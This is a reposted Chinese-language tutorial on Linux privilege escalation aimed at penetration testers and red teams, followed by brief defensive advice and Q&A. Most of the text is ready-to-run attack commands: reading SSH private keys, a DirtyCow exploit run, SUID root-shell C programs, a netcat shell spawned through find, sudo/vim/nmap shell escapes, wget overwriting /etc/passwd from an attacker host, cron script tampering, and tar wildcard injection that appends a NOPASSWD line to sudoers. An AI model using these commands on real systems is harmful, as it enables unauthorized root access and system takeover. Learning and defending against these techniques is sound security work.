Linux权限提升实战指南

admin 2026-03-19 00:07:41 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档详述Linux权限提升实战指南,核心覆盖信息收集与10类提权手法。内容详解内核漏洞、SUID滥用、SUDO配置错误、定时任务劫持等技术原理与操作命令,并提供对应防御建议。文章结构清晰,包含大量实操案例与自动化脚本推荐,强调从普通用户到root的垂直提权路径,为渗透测试与红队攻防提供实用参考,具备高可操作性与技术深度。 综合评分: 90 文章分类: 渗透测试,红队,内网渗透,实战经验


cover_image

Linux权限提升实战指南

原创

guowei guowei

网络安全直通车

2026年3月16日 15:38 北京

Linux 权限提升实战指南,聚焦从普通用户到 root 用户的垂直提权,核心涵盖信息收集(系统、服务、文件权限等)、10 类核心提权手法(内核漏洞、SUID/GUID 配置错误、滥用 SUDO、定时任务、通配符注入等),详细提供了每类手法的原理、操作命令、实战案例及防御建议,同时配套自动化信息收集脚本(LinEnum、Unix-privesc-check 等),是渗透测试与红队攻防中 Linux 提权的实用参考资料。

提权前置:信息收集(关键前提)

信息收集是提权核心,需获取系统、服务、权限等全方位数据,分为手动收集与自动收集两类:

(一)手动收集核心命令与目标

表格

| 收集类别 | 核心命令 | 收集目标 | | | — | — | — | — | | 系统信息 | cat /etc/*-releaseuname -acat /proc/version | 发行版、内核版本、架构(32/64 位) | | | 环境变量 | echo $PATHenvcat ~/.bashrc | PATH 配置、隐藏密码 / API 密钥 | | | 服务进程 | ps aux | grep rootnetstat -anlp | root 运行的服务、开放端口、内部服务 | | 文件权限 | find / -perm -u=s -type f 2>/dev/null (SUID)、find / -writable -type d 2>/dev/null(可写目录) | SUID/GUID 文件、世界可写文件 / 目录 | | | 敏感文件 | cat /etc/passwdcat ~/.ssh/id_rsacat /var/log/auth.log | 用户列表、SSH 密钥、日志凭证 | | | 网络信息 | ifconfig -arouteiptables -L | 网卡配置、路由、防火墙规则 | | | 定时任务 | crontab -lls -al /etc/cron* | root 执行的定时脚本、可写性 | |

(二)自动收集工具

表格

| 工具名称 | 下载链接 | 核心功能 | | — | — | — | | LinEnum | https://github.com/rebootuser/LinEnum | 全方位系统枚举,支持自定义关键词、生成报告 | | Unix-privesc-check | http://pentestmonkey.net/tools/audit/unix-privesc-check | 自动化权限审计,输出漏洞警告 | | Linprivchecker.py | https://github.com/reider-roque/linpostexp/blob/master/linprivchecker.py | 后渗透枚举,支持扩展测试 |

三、10 类核心提权手法详解

(一)内核漏洞提权
  • 原理:利用 Linux 内核未修复漏洞,执行 EXP 获取 root 权限。
  • 关键前提:① 内核版本易受攻击;② 有匹配的 EXP;③ 可上传并执行 EXP。
  • 典型案例:DirtyCow(CVE-2016-5195,内核≤3.19.0-73.8):
  1. 下载 EXP:https://www.exploit-db.com/exploits/40839/;
  2. 编译:g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
  3. 执行:./dcow rash(创建 root 权限用户 rash);
  4. 切换用户:su rash,获取 root shell。
  • 注意:内核 EXP 可能导致系统崩溃,建议作为最后手段。
(二)利用以 root 权限运行的服务
  • 原理:服务以 root 身份运行,且存在漏洞(如命令执行、文件写入),通过服务执行 root 命令。
  • 典型案例:MySQL UDF 动态库漏洞:
  1. 确认 MySQL 以 root 运行:ps aux | grep mysql
  2. 上传 UDF 动态库(如 raptor_udf2.so);
  3. 执行命令:mysql> create function do_system returns integer soname 'raptor_udf2.so';,通过select do_system('id>/tmp/out')执行 root 命令。
  • 防御:非必要不使用 root 运行服务(Web / 数据库 / 文件服务等)。
(三)NFS 权限弱配置提权
  • 核心条件:NFS 共享目录开启no_root_squash(远程 root 用户保留 root 权限),且配置rw(读写权限)。
  • 操作步骤:
  1. 查看共享配置:cat /etc/exportsshowmount -e [目标IP]
  2. 攻击机挂载共享目录:mount -o rw,vers=2 [目标IP]:/tmp /tmp/test
  3. 生成 SUID 脚本:echo 'int main() { setuid(0); system("/bin/bash"); return 0; }' > /tmp/test/suid-shell.c
  4. 编译赋权:gcc /tmp/test/suid-shell.c -o /tmp/test/suid-shellchmod +s /tmp/test/suid-shell
  5. 目标机执行:/tmp/suid-shell,获取 root 权限。
(四)SUID 和 GUID 配置错误提权
  • 原理:SUID 文件执行时继承文件所有者权限(若所有者为 root,普通用户执行即获 root 权限)。

  • 关键命令:

  • 查找 SUID 文件:find / -perm -u=s -type f 2>/dev/null

  • 查找 GUID 文件:find / -perm -g=s -type f 2>/dev/null

  • 常用 SUID 提权文件及命令:| SUID 文件 | 提权命令 | 效果 ||———-|———-|——|| nmap(2.02-5.21) | nmap --interactive!sh | 进入 root shell || vim | sudo vim -c '!sh' | 直接获取 root shell || find | find test -exec netcat -lvp 5555 -e /bin/sh \; | 反弹 root shell || less/more | less /etc/passwd!/bin/sh | 切换 root shell || cp/mv | 覆盖/etc/passwd,添加 root 用户 | 新建 root 权限用户 |

(五)滥用 SUDO 提权
  • 原理:普通用户被授权通过sudo执行 root 命令,利用部分命令的特殊功能提权。
  • 关键步骤:
  1. 查看授权命令:sudo -l(列出可执行的 root 命令);
  2. 利用授权命令提权(部分案例):| 授权命令 | 提权命令 | 效果 ||———-|———-|——|| find | sudo find /etc/passwd -exec /bin/sh \; | 执行 root shell || vim | sudo vim -c '!sh' | 直接获取 root shell || nmap | echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse | 执行脚本提权 || wget | sudo wget http://[攻击机IP]/passwd -O /etc/passwd | 覆盖密码文件,添加 root 用户 |
(六)利用 “.” 路径配置错误
  • 原理:PATH 环境变量中包含 “.”(当前目录),且位于 PATH 开头,系统优先执行当前目录下的脚本(而非系统命令)。
  • 攻击流程:
  1. 确认 PATH 配置:echo $PATH(含 “.” 且在开头);
  2. 伪造系统命令:在当前目录创建名为ls的恶意脚本,内容为echo "os.execute('/bin/sh')"
  3. 赋权执行:chmod +x ls
  4. 诱导 root 用户进入该目录执行ls,触发恶意脚本,获取 root 权限。
(七)利用定时任务(Cron jobs)
  • 原理:Cron 以 root 身份定期执行脚本,若脚本可被普通用户修改,可篡改脚本植入恶意代码。
  • 信息收集:crontab -lls -al /etc/cron*cat /etc/crontab
  • 攻击步骤:
  1. 查找可写的 Cron 脚本:find / -perm -2 -type f 2>/dev/null | grep cron
  2. 篡改脚本:在脚本中添加chown root:root /tmp/rootme; chmod u+s /tmp/rootme;(生成 SUID 文件);
  3. 生成提权程序:gcc -o /tmp/rootme rootme.c(rootme.c 含setuid(0); execl("/bin/sh","sh",0););
  4. 等待 Cron 执行脚本后,运行/tmp/rootme获取 root 权限。
  • 辅助工具:pspy(监控 Cron 进程,下载链接:https://github.com/DominicBreuker/pspy)。
(八)通配符注入提权
  • 原理:root 执行的命令含通配符(如*),攻击者通过创建特殊命名文件,将恶意参数注入命令。
  • 典型案例(tar 命令):
  1. 目标 Cron 脚本:tar cf /var/backups/backup.tar *(root 定期执行);
  2. 注入检查点参数:touch -- --checkpoint=1(归档 1 个文件后触发检查点);
  3. 创建恶意脚本:echo 'echo "my-user ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > demo.shchmod +x demo.sh
  4. 注入执行动作:touch -- "--checkpoint-action=exec=sh demo.sh"
  5. Cron 执行后,sudo su直接获取 root 权限。
  • 其他可利用命令:chown(--reference参数)、rsync(-e参数)。
(九)历史漏洞提权
  • 原理:利用 Linux 系统或软件的公开历史漏洞(非内核漏洞),通过 EXP 获取权限。

  • 资源渠道:

  • 漏洞库:https://github.com/lucyoa/kernel-exploits、exploit-db;

  • 编译好的 EXP:https://github.com/bwbwbwbw/linux-exploit-binaries;

  • MSF 模块:直接搜索对应漏洞模块。

(十)其他补充提权场景
  • 未授权访问:无需认证即可访问敏感服务 / 文件,辅助获取凭证或脚本;
  • 中间件安全:Web 中间件(Tomcat、Nginx)漏洞,如文件写入、命令执行,间接提权。

四、防御建议

  1. 系统层面:定期更新内核、打补丁,关闭无用服务;
  2. 权限配置:① 禁用no_root_squash,配置 NFS 为root_squash;② 严格控制 SUID/GUID 文件,删除不必要的 SUID 权限;
  3. 服务层面:非必要不使用 root 运行服务,降低服务运行权限;
  4. 脚本与定时任务:限制 Cron 脚本的可写权限,避免使用通配符;
  5. 环境变量:PATH 中移除 “.”,避免路径配置错误。

4. 关键问题

问题 1:Linux 提权中,SUID 文件提权的核心原理是什么?请列举 3 个常用的可提权 SUID 文件及对应的实操命令。

答案:① 核心原理:SUID(设置用户 ID)是 Linux 文件权限的一种,当文件设置 SUID 位后,普通用户执行该文件时,会临时继承文件所有者的权限;若文件所有者为 root,普通用户执行即可获得 root 级权限,进而实现提权。② 3 个常用 SUID 文件及命令:

  • nmap(版本 2.02-5.21):nmap --interactive进入交互模式,输入!sh直接切换为 root shell;
  • find:先创建临时文件touch test,执行find test -exec /bin/sh \;,利用 find 的执行权限触发 root shell;
  • vim:若被授权 sudo 执行 vim,输入sudo vim -c '!sh',直接弹出 root shell。

问题 2:利用定时任务(Cron jobs)提权的关键前提是什么?如何通过篡改 Cron 脚本实现 root 权限获取?

答案:① 关键前提:一是 Cron 脚本以 root 身份定期执行;二是该脚本对普通用户具有可写权限(如世界可写rw-rw-rw-)。② 提权步骤:

  1. 信息收集:通过crontab -lls -al /etc/cron*查找 root 执行的定时脚本,用ls -la [脚本路径]确认可写性;
  2. 生成提权程序:在/tmp目录创建 C 文件rootme.c,内容为int main(void) { setgid(0); setuid(0); execl("/bin/sh","sh",0); },编译为可执行文件:gcc rootme.c -o rootme
  3. 篡改 Cron 脚本:在可写的 Cron 脚本中添加chown root:root /tmp/rootme; chmod u+s /tmp/rootme;(将提权程序设置为 root 所有的 SUID 文件);
  4. 等待执行:Cron 按定时周期执行脚本后,/tmp/rootme成为 SUID 文件,执行./rootme即可获取 root shell。

问题 3:NFS 权限弱配置提权的核心条件是什么?请详细描述从发现漏洞到获取 root 权限的完整流程。

答案:① 核心条件:NFS 服务器的共享目录配置满足两个要求 —— 一是开启no_root_squash(远程 root 用户连接时保留 root 权限,而非映射为 nfsnobody);二是设置rw(远程用户拥有读写权限)。② 完整流程:

  1. 漏洞发现:攻击机执行showmount -e [NFS服务器IP],查看共享目录及配置,确认存在no_root_squashrw参数;
  2. 挂载共享目录:攻击机创建本地目录mkdir /tmp/test,执行mount -o rw,vers=2 [NFS服务器IP]:/tmp /tmp/test(vers=2 指定 NFS 版本,避免兼容性问题);
  3. 生成恶意 SUID 文件:在挂载目录下创建 C 文件suid-shell.c,内容为#include&nbsp;<stdio.h>&nbsp;#include&nbsp;<stdlib.h>&nbsp;#include&nbsp;<sys/types.h>&nbsp;#include&nbsp;<unistd.h> int main() { setuid(0); system("/bin/bash"); return 0; }
  4. 编译与赋权:攻击机执行gcc /tmp/test/suid-shell.c -o /tmp/test/suid-shell,再执行chmod +s /tmp/test/suid-shell(设置 SUID 位,继承 root 权限);
  5. 目标机提权:登录 NFS 服务器的普通用户,进入/tmp目录,执行./suid-shell,此时程序以 root 权限运行,直接获取 root shell。

请在微信客户端打开


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:网络安全直通车 guowei guowei《Linux权限提升实战指南》

Linux权限提升实战指南 网络安全文章

Linux权限提升实战指南

文章总结: 该文档详述Linux权限提升实战指南,核心覆盖信息收集与10类提权手法。内容详解内核漏洞、SUID滥用、SUDO配置错误、定时任务劫持等技术原理与操
评论:0   参与:  0